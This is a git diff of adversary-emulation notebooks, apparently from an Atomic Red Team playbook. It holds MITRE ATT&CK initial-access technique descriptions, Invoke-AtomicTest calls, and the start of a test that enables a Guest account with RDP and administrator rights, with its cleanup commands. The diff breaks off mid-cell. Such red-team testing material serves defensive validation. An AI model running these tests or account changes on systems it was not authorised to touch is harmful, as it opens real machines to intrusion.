servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)\nT1194 | Spearphishing via Service | Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nT1199 | Trusted Relationship | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)\nT1189 | Drive-by Compromise | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)\nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\nT1091 | Replication Through Removable Media | Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)" + "source": "# Initial Access\nThe adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\nT1195.001 | Compromise Software Dependencies and Development Tools | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \nT1566.002 | Spearphishing Link | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\nT1566.001 | Spearphishing Attachment | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. \nT1195.003 | Compromise Hardware Supply Chain | Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.\nT1091 | Replication Through Removable Media | Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\nT1195 | Supply Chain Compromise | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\nT1190 | Exploit Public-Facing Application | Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)\nT1659 | Content Injection | Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1199 | Trusted Relationship | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)\nT1566 | Phishing | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1566.004 | Spearphishing Voice | Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\nT1195.002 | Compromise Software Supply Chain | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) \nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1200 | Hardware Additions | Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)\nT1189 | Drive-by Compromise | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)\nT1078.004 | Cloud Accounts | Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n\nT1566.003 | Spearphishing via Service | Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " }, { "cell_type": "code", "execution_count": null, - "id": "0139a38b", + "id": "4545c54d", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic initial-access" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1078.001.ipynb b/playbook/tactics/initial-access/T1078.001.ipynb index 9e219718..bd1afd83 100644 --- a/playbook/tactics/initial-access/T1078.001.ipynb +++ b/playbook/tactics/initial-access/T1078.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b0c53398", + "id": "565e0eb1", "metadata": {}, "source": "# T1078.001 - Default Accounts\nAdversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)" }, { "cell_type": "markdown", - "id": "4342198e", + "id": "558f00cb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "28159213", + "id": "0f299384", "metadata": {}, "source": [ "### Atomic Test #1 - Enable Guest account with RDP capability and admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7987e061", + "id": "f83a0fa7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "63167ea9", + "id": "29e7dc13", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no >nul 2>&1\nnet localgroup Administrators guest /delete >nul 2>&1\nnet localgroup \"Remote Desktop Users\" guest /delete >nul 2>&1\nif 0 NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)```" }, { "cell_type": "code", "execution_count": null, - "id": "99f8e587", + "id": "c19836bd", "metadata": {}, "outputs": [], "source": 